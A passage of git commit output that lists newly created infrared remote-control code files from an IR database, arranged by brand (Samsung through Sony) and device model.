assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/VCR/2,2.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samsung/VCR/5,5.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/TV/56,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Satelco/Sat/24,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Seleco/TV/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Seleco/TV/30,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sharp/Monitor/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sharp/TV/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sharp/VCR/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sherwood/Receiver/131,69.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sirius/Unknown_SBKB-3201KR/128,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sirius/Unknown_ST2/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sirius/Unknown_Sportster/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sitronics/Unknown_RC-D010E/0,251.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sky/Unknown_DVB-S/0,12.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sky/Unknown_rev.4/0,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_2421/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_2424/37,250.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_DCI/5,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_SkymasterXLS99/19,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_XL10/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Skymaster/Unknown_skymaster/19,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Slim Art/Unknown_SA-100/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Slim Devices/Unknown_Devices/110,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/SnapStream/Unknown_Firefly-Mini/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Snazio/Unknown_Net/8,230.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Snell/Speaker/80,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sonance/Distributed Audio/0,90.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sonance/System Controller/132,132.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sonicview/Unknown_SV-360/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Boombox/100,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Boombox/68,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/CD Changer/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/23,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/26,153.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/36,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/57,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/CD Jukebox/81,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/57,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/CD Player/81,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DAT/28,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DSP/26,233.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DSS/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DSS/11,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DSS/183,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DSS/23,133.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DSS/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DSS/5,1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DSS/64,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DV Cam/185,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DV Cam/217,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DV Cam/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/164,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,218.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,83.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/26,98.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/DVD Player/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/26,154.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/26,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Digital Recorder/26,98.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Laser Disc/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Mini-Disc/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Mini-Disc/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/11,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/144,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/18,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/183,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/23,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,66.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/26,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/36,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Pre-Amplifier/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/11,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/12,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/121,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/13,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/144,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/16,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/176,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/18,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/20,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/23,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/26,66.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/26,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/36,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/48,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/6,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Receiver/8,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Surround Processor/26,233.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/TV/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/TV/119,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/TV/151,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/TV/164,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/TV/183,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/TV/26,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/TV/26,42.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/TV/3,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/TV/84,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/TiVo/183,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/TiVo/23,133.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/TiVo/26,154.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_870/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_CD/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_CDIR/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_CDP-790/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_D1000/89,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_DAT/28,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,18.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_DVD/26,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-687C/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-860/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-861/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-873/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D190/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D270/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D295/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D302/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D320/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D325/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D391/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D520/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D55/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D690/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D706/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D797/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D7M/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D820/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D90/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D921/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-D991/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-DM7/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-DX740/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-ED019/26,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-PJP1/26,42.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-SG20/131,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-SG5/131,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-SG7/131,0.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-V211T/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-W101/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X30/132,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X40/132,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X42/132,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-X47/132,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y155B/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y173/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y180/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y800/183,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RM-Y812/183,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-136/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-506/7,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-B101A/26,226.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-CF1A/26,19.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D115P/26,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126A/26,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D126E/26,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-D129A/26,73.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-DSC2/26,241.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-V107/11,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-V270/11,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_RMT-V501A/26,83.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_SONY/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_TUNER/13,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_VPL-W400/84,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_VaioRemote/4,15.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_lircd.conf/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-d10p/26,97.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-d29m/15,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-d5/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-dm9/223,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_rm-x95/132,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_sony-cd/17,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_sonyRM-sep303/4,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_sonytv/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_tv/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/Unknown_tv/2,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/VCR/0,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/VCR/1,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/VCR/11,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/VCR/180,-1.ir create mode 100644 assets/resources/infrared/_CSV-IRDB_/Sony/VCR/185,-1.ir create mode 100644 